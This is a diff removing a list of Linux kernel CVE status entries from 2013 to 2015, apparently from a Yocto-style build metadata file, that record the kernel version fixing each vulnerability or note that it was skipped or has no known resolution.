-CVE_STATUS[CVE-2013-3227] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3228] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3229] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3230] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3231] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3232] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3233] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3234] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3235] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3236] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3237] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3301] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3302] = "fixed-version: Fixed from version 3.8rc3"
-
-CVE_STATUS[CVE-2013-4125] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-4127] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-4129] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-4162] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-4163] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-4205] = "fixed-version: Fixed from version 3.11rc5"
-
-CVE_STATUS[CVE-2013-4220] = "fixed-version: Fixed from version 3.10rc4"
-
-CVE_STATUS[CVE-2013-4247] = "fixed-version: Fixed from version 3.10rc5"
-
-CVE_STATUS[CVE-2013-4254] = "fixed-version: Fixed from version 3.11rc6"
-
-CVE_STATUS[CVE-2013-4270] = "fixed-version: Fixed from version 3.12rc4"
-
-CVE_STATUS[CVE-2013-4299] = "fixed-version: Fixed from version 3.12rc6"
-
-CVE_STATUS[CVE-2013-4300] = "fixed-version: Fixed from version 3.11"
-
-CVE_STATUS[CVE-2013-4312] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2013-4343] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-4345] = "fixed-version: Fixed from version 3.13rc2"
-
-CVE_STATUS[CVE-2013-4348] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-4350] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-4387] = "fixed-version: Fixed from version 3.12rc4"
-
-CVE_STATUS[CVE-2013-4470] = "fixed-version: Fixed from version 3.12rc7"
-
-CVE_STATUS[CVE-2013-4483] = "fixed-version: Fixed from version 3.10rc1"
-
-CVE_STATUS[CVE-2013-4511] = "fixed-version: Fixed from version 3.12"
-
-CVE_STATUS[CVE-2013-4512] = "fixed-version: Fixed from version 3.12"
-
-CVE_STATUS[CVE-2013-4513] = "fixed-version: Fixed from version 3.12"
-
-CVE_STATUS[CVE-2013-4514] = "fixed-version: Fixed from version 3.12"
-
-CVE_STATUS[CVE-2013-4515] = "fixed-version: Fixed from version 3.12"
-
-CVE_STATUS[CVE-2013-4516] = "fixed-version: Fixed from version 3.12"
-
-CVE_STATUS[CVE-2013-4563] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-4579] = "fixed-version: Fixed from version 3.13rc7"
-
-CVE_STATUS[CVE-2013-4587] = "fixed-version: Fixed from version 3.13rc4"
-
-CVE_STATUS[CVE-2013-4588] = "fixed-version: Fixed from version 2.6.33rc4"
-
-CVE_STATUS[CVE-2013-4591] = "fixed-version: Fixed from version 3.8rc1"
-
-CVE_STATUS[CVE-2013-4592] = "fixed-version: Fixed from version 3.7rc1"
-
-# Skipping CVE-2013-4737, no affected_versions
-
-# Skipping CVE-2013-4738, no affected_versions
-
-# Skipping CVE-2013-4739, no affected_versions
-
-CVE_STATUS[CVE-2013-5634] = "fixed-version: Fixed from version 3.10rc5"
-
-CVE_STATUS[CVE-2013-6282] = "fixed-version: Fixed from version 3.6rc6"
-
-CVE_STATUS[CVE-2013-6367] = "fixed-version: Fixed from version 3.13rc4"
-
-CVE_STATUS[CVE-2013-6368] = "fixed-version: Fixed from version 3.13rc4"
-
-CVE_STATUS[CVE-2013-6376] = "fixed-version: Fixed from version 3.13rc4"
-
-CVE_STATUS[CVE-2013-6378] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-6380] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-6381] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-6382] = "fixed-version: Fixed from version 3.13rc4"
-
-CVE_STATUS[CVE-2013-6383] = "fixed-version: Fixed from version 3.12"
-
-# Skipping CVE-2013-6392, no affected_versions
-
-CVE_STATUS[CVE-2013-6431] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2013-6432] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-6885] = "fixed-version: Fixed from version 3.14rc1"
-
-CVE_STATUS[CVE-2013-7026] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7027] = "fixed-version: Fixed from version 3.12rc7"
-
-CVE_STATUS[CVE-2013-7263] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7264] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7265] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7266] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7267] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7268] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7269] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7270] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7271] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7281] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7339] = "fixed-version: Fixed from version 3.13rc7"
-
-CVE_STATUS[CVE-2013-7348] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-7421] = "fixed-version: Fixed from version 3.19rc1"
-
-# CVE-2013-7445 has no known resolution
-
-CVE_STATUS[CVE-2013-7446] = "fixed-version: Fixed from version 4.4rc4"
-
-CVE_STATUS[CVE-2013-7470] = "fixed-version: Fixed from version 3.12rc7"
-
-CVE_STATUS[CVE-2014-0038] = "fixed-version: Fixed from version 3.14rc1"
-
-CVE_STATUS[CVE-2014-0049] = "fixed-version: Fixed from version 3.14rc5"
-
-CVE_STATUS[CVE-2014-0055] = "fixed-version: Fixed from version 3.14"
-
-CVE_STATUS[CVE-2014-0069] = "fixed-version: Fixed from version 3.14rc4"
-
-CVE_STATUS[CVE-2014-0077] = "fixed-version: Fixed from version 3.14"
-
-CVE_STATUS[CVE-2014-0100] = "fixed-version: Fixed from version 3.14rc7"
-
-CVE_STATUS[CVE-2014-0101] = "fixed-version: Fixed from version 3.14rc6"
-
-CVE_STATUS[CVE-2014-0102] = "fixed-version: Fixed from version 3.14rc6"
-
-CVE_STATUS[CVE-2014-0131] = "fixed-version: Fixed from version 3.14rc7"
-
-CVE_STATUS[CVE-2014-0155] = "fixed-version: Fixed from version 3.15rc2"
-
-CVE_STATUS[CVE-2014-0181] = "fixed-version: Fixed from version 3.15rc5"
-
-CVE_STATUS[CVE-2014-0196] = "fixed-version: Fixed from version 3.15rc5"
-
-CVE_STATUS[CVE-2014-0203] = "fixed-version: Fixed from version 2.6.33rc5"
-
-CVE_STATUS[CVE-2014-0205] = "fixed-version: Fixed from version 2.6.37rc1"
-
-CVE_STATUS[CVE-2014-0206] = "fixed-version: Fixed from version 3.16rc3"
-
-# Skipping CVE-2014-0972, no affected_versions
-
-CVE_STATUS[CVE-2014-1438] = "fixed-version: Fixed from version 3.13"
-
-CVE_STATUS[CVE-2014-1444] = "fixed-version: Fixed from version 3.12rc7"
-
-CVE_STATUS[CVE-2014-1445] = "fixed-version: Fixed from version 3.12rc7"
-
-CVE_STATUS[CVE-2014-1446] = "fixed-version: Fixed from version 3.13rc7"
-
-CVE_STATUS[CVE-2014-1690] = "fixed-version: Fixed from version 3.13rc8"
-
-CVE_STATUS[CVE-2014-1737] = "fixed-version: Fixed from version 3.15rc5"
-
-CVE_STATUS[CVE-2014-1738] = "fixed-version: Fixed from version 3.15rc5"
-
-CVE_STATUS[CVE-2014-1739] = "fixed-version: Fixed from version 3.15rc6"
-
-CVE_STATUS[CVE-2014-1874] = "fixed-version: Fixed from version 3.14rc2"
-
-CVE_STATUS[CVE-2014-2038] = "fixed-version: Fixed from version 3.14rc1"
-
-CVE_STATUS[CVE-2014-2039] = "fixed-version: Fixed from version 3.14rc3"
-
-CVE_STATUS[CVE-2014-2309] = "fixed-version: Fixed from version 3.14rc7"
-
-CVE_STATUS[CVE-2014-2523] = "fixed-version: Fixed from version 3.14rc1"
-
-CVE_STATUS[CVE-2014-2568] = "fixed-version: Fixed from version 3.14"
-
-CVE_STATUS[CVE-2014-2580] = "fixed-version: Fixed from version 3.15rc1"
-
-CVE_STATUS[CVE-2014-2672] = "fixed-version: Fixed from version 3.14rc6"
-
-CVE_STATUS[CVE-2014-2673] = "fixed-version: Fixed from version 3.14rc6"
-
-CVE_STATUS[CVE-2014-2678] = "fixed-version: Fixed from version 3.15rc1"
-
-CVE_STATUS[CVE-2014-2706] = "fixed-version: Fixed from version 3.14rc6"
-
-CVE_STATUS[CVE-2014-2739] = "fixed-version: Fixed from version 3.15rc1"
-
-CVE_STATUS[CVE-2014-2851] = "fixed-version: Fixed from version 3.15rc2"
-
-CVE_STATUS[CVE-2014-2889] = "fixed-version: Fixed from version 3.2rc7"
-
-CVE_STATUS[CVE-2014-3122] = "fixed-version: Fixed from version 3.15rc1"
-
-CVE_STATUS[CVE-2014-3144] = "fixed-version: Fixed from version 3.15rc2"
-
-CVE_STATUS[CVE-2014-3145] = "fixed-version: Fixed from version 3.15rc2"
-
-CVE_STATUS[CVE-2014-3153] = "fixed-version: Fixed from version 3.15"
-
-CVE_STATUS[CVE-2014-3180] = "fixed-version: Fixed from version 3.17rc4"
-
-CVE_STATUS[CVE-2014-3181] = "fixed-version: Fixed from version 3.17rc3"
-
-CVE_STATUS[CVE-2014-3182] = "fixed-version: Fixed from version 3.17rc2"
-
-CVE_STATUS[CVE-2014-3183] = "fixed-version: Fixed from version 3.17rc2"
-
-CVE_STATUS[CVE-2014-3184] = "fixed-version: Fixed from version 3.17rc2"
-
-CVE_STATUS[CVE-2014-3185] = "fixed-version: Fixed from version 3.17rc3"
-
-CVE_STATUS[CVE-2014-3186] = "fixed-version: Fixed from version 3.17rc3"
-
-# Skipping CVE-2014-3519, no affected_versions
-
-CVE_STATUS[CVE-2014-3534] = "fixed-version: Fixed from version 3.16rc7"
-
-CVE_STATUS[CVE-2014-3535] = "fixed-version: Fixed from version 2.6.36rc1"
-
-CVE_STATUS[CVE-2014-3601] = "fixed-version: Fixed from version 3.17rc2"
-
-CVE_STATUS[CVE-2014-3610] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-3611] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-3631] = "fixed-version: Fixed from version 3.17rc5"
-
-CVE_STATUS[CVE-2014-3645] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2014-3646] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-3647] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-3673] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-3687] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-3688] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-3690] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-3917] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2014-3940] = "fixed-version: Fixed from version 3.15"
-
-CVE_STATUS[CVE-2014-4014] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2014-4027] = "fixed-version: Fixed from version 3.14rc1"
-
-CVE_STATUS[CVE-2014-4157] = "fixed-version: Fixed from version 3.15rc1"
-
-CVE_STATUS[CVE-2014-4171] = "fixed-version: Fixed from version 3.16rc3"
-
-# Skipping CVE-2014-4322, no affected_versions
-
-# Skipping CVE-2014-4323, no affected_versions
-
-CVE_STATUS[CVE-2014-4508] = "fixed-version: Fixed from version 3.16rc3"
-
-CVE_STATUS[CVE-2014-4608] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-4611] = "fixed-version: Fixed from version 3.16rc3"
-
-CVE_STATUS[CVE-2014-4652] = "fixed-version: Fixed from version 3.16rc2"
-
-CVE_STATUS[CVE-2014-4653] = "fixed-version: Fixed from version 3.16rc2"
-
-CVE_STATUS[CVE-2014-4654] = "fixed-version: Fixed from version 3.16rc2"
-
-CVE_STATUS[CVE-2014-4655] = "fixed-version: Fixed from version 3.16rc2"
-
-CVE_STATUS[CVE-2014-4656] = "fixed-version: Fixed from version 3.16rc2"
-
-CVE_STATUS[CVE-2014-4667] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2014-4699] = "fixed-version: Fixed from version 3.16rc4"
-
-CVE_STATUS[CVE-2014-4943] = "fixed-version: Fixed from version 3.16rc6"
-
-CVE_STATUS[CVE-2014-5045] = "fixed-version: Fixed from version 3.16rc7"
-
-CVE_STATUS[CVE-2014-5077] = "fixed-version: Fixed from version 3.16"
-
-CVE_STATUS[CVE-2014-5206] = "fixed-version: Fixed from version 3.17rc1"
-
-CVE_STATUS[CVE-2014-5207] = "fixed-version: Fixed from version 3.17rc1"
-
-# Skipping CVE-2014-5332, no affected_versions
-
-CVE_STATUS[CVE-2014-5471] = "fixed-version: Fixed from version 3.17rc2"
-
-CVE_STATUS[CVE-2014-5472] = "fixed-version: Fixed from version 3.17rc2"
-
-CVE_STATUS[CVE-2014-6410] = "fixed-version: Fixed from version 3.17rc5"
-
-CVE_STATUS[CVE-2014-6416] = "fixed-version: Fixed from version 3.17rc5"
-
-CVE_STATUS[CVE-2014-6417] = "fixed-version: Fixed from version 3.17rc5"
-
-CVE_STATUS[CVE-2014-6418] = "fixed-version: Fixed from version 3.17rc5"
-
-CVE_STATUS[CVE-2014-7145] = "fixed-version: Fixed from version 3.17rc2"
-
-# Skipping CVE-2014-7207, no affected_versions
-
-CVE_STATUS[CVE-2014-7283] = "fixed-version: Fixed from version 3.15rc1"
-
-CVE_STATUS[CVE-2014-7284] = "fixed-version: Fixed from version 3.15rc7"
-
-CVE_STATUS[CVE-2014-7822] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2014-7825] = "fixed-version: Fixed from version 3.18rc3"
-
-CVE_STATUS[CVE-2014-7826] = "fixed-version: Fixed from version 3.18rc3"
-
-CVE_STATUS[CVE-2014-7841] = "fixed-version: Fixed from version 3.18rc5"
-
-CVE_STATUS[CVE-2014-7842] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-7843] = "fixed-version: Fixed from version 3.18rc5"
-
-CVE_STATUS[CVE-2014-7970] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-7975] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-8086] = "fixed-version: Fixed from version 3.18rc3"
-
-CVE_STATUS[CVE-2014-8133] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-8134] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-8159] = "fixed-version: Fixed from version 4.0rc7"
-
-CVE_STATUS[CVE-2014-8160] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-8171] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2014-8172] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2014-8173] = "fixed-version: Fixed from version 3.13rc5"
-
-# Skipping CVE-2014-8181, no affected_versions
-
-CVE_STATUS[CVE-2014-8369] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-8480] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-8481] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-8559] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-8709] = "fixed-version: Fixed from version 3.14rc3"
-
-CVE_STATUS[CVE-2014-8884] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2014-8989] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-9090] = "fixed-version: Fixed from version 3.18rc6"
-
-CVE_STATUS[CVE-2014-9322] = "fixed-version: Fixed from version 3.18rc6"
-
-CVE_STATUS[CVE-2014-9419] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-9420] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-9428] = "fixed-version: Fixed from version 3.19rc3"
-
-CVE_STATUS[CVE-2014-9529] = "fixed-version: Fixed from version 3.19rc4"
-
-CVE_STATUS[CVE-2014-9584] = "fixed-version: Fixed from version 3.19rc3"
-
-CVE_STATUS[CVE-2014-9585] = "fixed-version: Fixed from version 3.19rc4"
-
-CVE_STATUS[CVE-2014-9644] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-9683] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-9710] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2014-9715] = "fixed-version: Fixed from version 3.15rc1"
-
-CVE_STATUS[CVE-2014-9717] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2014-9728] = "fixed-version: Fixed from version 3.19rc3"
-
-CVE_STATUS[CVE-2014-9729] = "fixed-version: Fixed from version 3.19rc3"
-
-CVE_STATUS[CVE-2014-9730] = "fixed-version: Fixed from version 3.19rc3"
-
-CVE_STATUS[CVE-2014-9731] = "fixed-version: Fixed from version 3.19rc3"
-
-# Skipping CVE-2014-9777, no affected_versions
-
-# Skipping CVE-2014-9778, no affected_versions
-
-# Skipping CVE-2014-9779, no affected_versions
-
-# Skipping CVE-2014-9780, no affected_versions
-
-# Skipping CVE-2014-9781, no affected_versions
-
-# Skipping CVE-2014-9782, no affected_versions
-
-# Skipping CVE-2014-9783, no affected_versions
-
-# Skipping CVE-2014-9784, no affected_versions
-
-# Skipping CVE-2014-9785, no affected_versions
-
-# Skipping CVE-2014-9786, no affected_versions
-
-# Skipping CVE-2014-9787, no affected_versions
-
-# Skipping CVE-2014-9788, no affected_versions
-
-# Skipping CVE-2014-9789, no affected_versions
-
-CVE_STATUS[CVE-2014-9803] = "fixed-version: Fixed from version 3.16rc1"
-
-# Skipping CVE-2014-9863, no affected_versions
-
-# Skipping CVE-2014-9864, no affected_versions
-
-# Skipping CVE-2014-9865, no affected_versions
-
-# Skipping CVE-2014-9866, no affected_versions
-
-# Skipping CVE-2014-9867, no affected_versions
-
-# Skipping CVE-2014-9868, no affected_versions
-
-# Skipping CVE-2014-9869, no affected_versions
-
-CVE_STATUS[CVE-2014-9870] = "fixed-version: Fixed from version 3.11rc1"
-
-# Skipping CVE-2014-9871, no affected_versions
-
-# Skipping CVE-2014-9872, no affected_versions
-
-# Skipping CVE-2014-9873, no affected_versions
-
-# Skipping CVE-2014-9874, no affected_versions
-
-# Skipping CVE-2014-9875, no affected_versions
-
-# Skipping CVE-2014-9876, no affected_versions
-
-# Skipping CVE-2014-9877, no affected_versions
-
-# Skipping CVE-2014-9878, no affected_versions
-
-# Skipping CVE-2014-9879, no affected_versions
-
-# Skipping CVE-2014-9880, no affected_versions
-
-# Skipping CVE-2014-9881, no affected_versions
-
-# Skipping CVE-2014-9882, no affected_versions
-
-# Skipping CVE-2014-9883, no affected_versions
-
-# Skipping CVE-2014-9884, no affected_versions
-
-# Skipping CVE-2014-9885, no affected_versions
-
-# Skipping CVE-2014-9886, no affected_versions
-
-# Skipping CVE-2014-9887, no affected_versions
-
-CVE_STATUS[CVE-2014-9888] = "fixed-version: Fixed from version 3.13rc1"
-
-# Skipping CVE-2014-9889, no affected_versions
-
-# Skipping CVE-2014-9890, no affected_versions
-
-# Skipping CVE-2014-9891, no affected_versions
-
-# Skipping CVE-2014-9892, no affected_versions
-
-# Skipping CVE-2014-9893, no affected_versions
-
-# Skipping CVE-2014-9894, no affected_versions
-
-CVE_STATUS[CVE-2014-9895] = "fixed-version: Fixed from version 3.11rc1"
-
-# Skipping CVE-2014-9896, no affected_versions
-
-# Skipping CVE-2014-9897, no affected_versions
-
-# Skipping CVE-2014-9898, no affected_versions
-
-# Skipping CVE-2014-9899, no affected_versions
-
-# Skipping CVE-2014-9900, no affected_versions
-
-CVE_STATUS[CVE-2014-9903] = "fixed-version: Fixed from version 3.14rc4"
-
-CVE_STATUS[CVE-2014-9904] = "fixed-version: Fixed from version 3.17rc1"
-
-CVE_STATUS[CVE-2014-9914] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2014-9922] = "fixed-version: Fixed from version 3.18rc2"
-
-CVE_STATUS[CVE-2014-9940] = "fixed-version: Fixed from version 3.19rc1"
-
-CVE_STATUS[CVE-2015-0239] = "fixed-version: Fixed from version 3.19rc6"
-
-CVE_STATUS[CVE-2015-0274] = "fixed-version: Fixed from version 3.15rc5"
-
-CVE_STATUS[CVE-2015-0275] = "fixed-version: Fixed from version 4.1rc1"
-
-# Skipping CVE-2015-0777, no affected_versions
-
-# Skipping CVE-2015-1328, no affected_versions
-
-CVE_STATUS[CVE-2015-1333] = "fixed-version: Fixed from version 4.2rc5"
-
-CVE_STATUS[CVE-2015-1339] = "fixed-version: Fixed from version 4.4rc5"
-
-CVE_STATUS[CVE-2015-1350] = "fixed-version: Fixed from version 4.9rc1"
-
-CVE_STATUS[CVE-2015-1420] = "fixed-version: Fixed from version 4.1rc7"
-
-CVE_STATUS[CVE-2015-1421] = "fixed-version: Fixed from version 3.19rc7"
-
-CVE_STATUS[CVE-2015-1465] = "fixed-version: Fixed from version 3.19rc7"
-
-CVE_STATUS[CVE-2015-1573] = "fixed-version: Fixed from version 3.19rc5"
-
-CVE_STATUS[CVE-2015-1593] = "fixed-version: Fixed from version 4.0rc1"
-
-CVE_STATUS[CVE-2015-1805] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2015-2041] = "fixed-version: Fixed from version 3.19rc7"
-
-CVE_STATUS[CVE-2015-2042] = "fixed-version: Fixed from version 3.19"
-
-CVE_STATUS[CVE-2015-2150] = "fixed-version: Fixed from version 4.0rc4"
-
-CVE_STATUS[CVE-2015-2666] = "fixed-version: Fixed from version 4.0rc1"
-
-CVE_STATUS[CVE-2015-2672] = "fixed-version: Fixed from version 4.0rc3"
-
-CVE_STATUS[CVE-2015-2686] = "fixed-version: Fixed from version 4.0rc6"
-
-CVE_STATUS[CVE-2015-2830] = "fixed-version: Fixed from version 4.0rc3"
-
-# CVE-2015-2877 has no known resolution
-
-CVE_STATUS[CVE-2015-2922] = "fixed-version: Fixed from version 4.0rc7"
-
-CVE_STATUS[CVE-2015-2925] = "fixed-version: Fixed from version 4.3rc1"
-
-CVE_STATUS[CVE-2015-3212] = "fixed-version: Fixed from version 4.2rc1"
-
-CVE_STATUS[CVE-2015-3214] = "fixed-version: Fixed from version 2.6.33rc8"
-
-CVE_STATUS[CVE-2015-3288] = "fixed-version: Fixed from version 4.2rc2"
-
-CVE_STATUS[CVE-2015-3290] = "fixed-version: Fixed from version 4.2rc3"
-
-CVE_STATUS[CVE-2015-3291] = "fixed-version: Fixed from version 4.2rc3"
-
-CVE_STATUS[CVE-2015-3331] = "fixed-version: Fixed from version 4.0rc5"
-
-# Skipping CVE-2015-3332, no affected_versions
-
-CVE_STATUS[CVE-2015-3339] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2015-3636] = "fixed-version: Fixed from version 4.1rc2"
-
-CVE_STATUS[CVE-2015-4001] = "fixed-version: Fixed from version 4.1rc7"
-
-CVE_STATUS[CVE-2015-4002] = "fixed-version: Fixed from version 4.1rc7"
-
-CVE_STATUS[CVE-2015-4003] = "fixed-version: Fixed from version 4.1rc7"
-
-CVE_STATUS[CVE-2015-4004] = "fixed-version: Fixed from version 4.3rc1"
-
-CVE_STATUS[CVE-2015-4036] = "fixed-version: Fixed from version 4.0rc1"
-
-CVE_STATUS[CVE-2015-4167] = "fixed-version: Fixed from version 4.0rc1"
-
-CVE_STATUS[CVE-2015-4170] = "fixed-version: Fixed from version 3.13rc5"
-
-CVE_STATUS[CVE-2015-4176] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2015-4177] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2015-4178] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2015-4692] = "fixed-version: Fixed from version 4.2rc1"
-
-CVE_STATUS[CVE-2015-4700] = "fixed-version: Fixed from version 4.1rc6"
-
-CVE_STATUS[CVE-2015-5156] = "fixed-version: Fixed from version 4.2rc7"
-
-CVE_STATUS[CVE-2015-5157] = "fixed-version: Fixed from version 4.2rc3"
-
-CVE_STATUS[CVE-2015-5257] = "fixed-version: Fixed from version 4.3rc3"
-
-CVE_STATUS[CVE-2015-5283] = "fixed-version: Fixed from version 4.3rc3"
-
-CVE_STATUS[CVE-2015-5307] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-5327] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-5364] = "fixed-version: Fixed from version 4.1rc7"
-
-CVE_STATUS[CVE-2015-5366] = "fixed-version: Fixed from version 4.1rc7"
-
-CVE_STATUS[CVE-2015-5697] = "fixed-version: Fixed from version 4.2rc6"
-
-CVE_STATUS[CVE-2015-5706] = "fixed-version: Fixed from version 4.1rc3"
-
-CVE_STATUS[CVE-2015-5707] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2015-6252] = "fixed-version: Fixed from version 4.2rc5"
-
-CVE_STATUS[CVE-2015-6526] = "fixed-version: Fixed from version 4.1rc1"
-
-# CVE-2015-6619 has no known resolution
-
-# CVE-2015-6646 has no known resolution
-
-CVE_STATUS[CVE-2015-6937] = "fixed-version: Fixed from version 4.3rc1"
-
-# Skipping CVE-2015-7312, no affected_versions
-
-CVE_STATUS[CVE-2015-7509] = "fixed-version: Fixed from version 3.7rc1"
-
-CVE_STATUS[CVE-2015-7513] = "fixed-version: Fixed from version 4.4rc7"
-
-CVE_STATUS[CVE-2015-7515] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-7550] = "fixed-version: Fixed from version 4.4rc8"
-
-# Skipping CVE-2015-7553, no affected_versions
-
-CVE_STATUS[CVE-2015-7566] = "fixed-version: Fixed from version 4.5rc2"
-
-CVE_STATUS[CVE-2015-7613] = "fixed-version: Fixed from version 4.3rc4"
-
-CVE_STATUS[CVE-2015-7799] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-7833] = "fixed-version: Fixed from version 4.6rc6"
-
-# Skipping CVE-2015-7837, no affected_versions
-
-CVE_STATUS[CVE-2015-7872] = "fixed-version: Fixed from version 4.3rc7"
-
-CVE_STATUS[CVE-2015-7884] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-7885] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-7990] = "fixed-version: Fixed from version 4.4rc4"
-
-# Skipping CVE-2015-8019, no affected_versions
-
-CVE_STATUS[CVE-2015-8104] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-8215] = "fixed-version: Fixed from version 4.0rc3"
-
-CVE_STATUS[CVE-2015-8324] = "fixed-version: Fixed from version 2.6.34rc1"
-
-CVE_STATUS[CVE-2015-8374] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-8539] = "fixed-version: Fixed from version 4.4rc3"
-
-CVE_STATUS[CVE-2015-8543] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8550] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8551] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8552] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8553] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8569] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8575] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8660] = "fixed-version: Fixed from version 4.4rc4"
-
